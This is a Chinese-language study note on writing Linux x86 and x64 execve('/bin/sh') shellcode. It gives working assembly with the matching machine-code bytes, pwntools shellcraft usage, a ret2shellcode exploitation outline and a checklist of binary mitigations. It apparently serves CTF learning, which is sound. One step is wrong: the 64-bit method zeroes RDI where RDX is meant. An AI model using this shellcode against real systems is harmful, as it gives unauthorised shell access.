32位shellcode编写
不同内核态操作通过给寄存器设置不同的值,在调用指令int 80h,就可以通知内核完成不同的功能。
只要我们通过特定的汇编代码把特定的寄存器设定为特定的值后,在调用int 80h执行sys_execve(“/bin/sh”,NULL,NULL)就可以获得shell了;
通过https://syscalls32.paolostivanin.com/查询系统调用。
网站给出了需要设置的eax的值及其他。
编写方法
1.eax设为0xb
2.ebx设为"/bin/sh"字符串的地址。ebx=&(“/bin/sh\x00”)
3.将ecx ,edx设为0
xor ecx,ecx;
xor edx,edx;
xor eax,eax;
mov al,0xb;
push ecx;
push 0x68732f2f;
push 0x6e69622f;
mov ebx,esp;
int 0x80;
转为机器码
31c931db31c0b00b51682f2f7368682f62696e89e3cd80
检验汇编是否正确
asm -r ""
64位编写
64位中调用的是syscall,不是int 0x80
64位程序传递参数不是直接通过栈,而是前六个参数通过寄存器,分别是RDI,RSI,RDX,RCX,R8,R9
第六个参数之后的参数才是通过栈传递
编写方法
1.RAX设为0x3b
2.RDI设为"/bin/sh"字符串的地址,RDI=&(“/bin/sh”)
3.把RSI,RDI设为0;
也可以通过pwntools自带shellcraft模块生成
shellcraft.sh()
默认产生32位shellcode,要产生64位要声明
context(os='linux',arch='amd64')
shellcraft.sh()
还可以取网站查找写好的
http://shell-storm.org/shellcode/
re2shellcode
函数执行完后,返回到shellcode的地址去执行shellcode。
局限:程序必须有内存执行权限
NX没有开,可以用
通过vmmap查找到内存中有很多可读可写可执行区域
buf在bss段的0804A080
而且这个位置可以用
先生成120字节的字符串,输入,cyclic -l找到对应的偏移量。执行脚本就拿到shell。
防御手段
chceksec
1.RELRO:开启后,无法修改got表
2.Stack:开启后,不能直接进行栈溢出
3.NX:开启后无法通过写shellcode的方法拿到shell权限
4.PIE:开启后,每次程序运行的地址都不一样。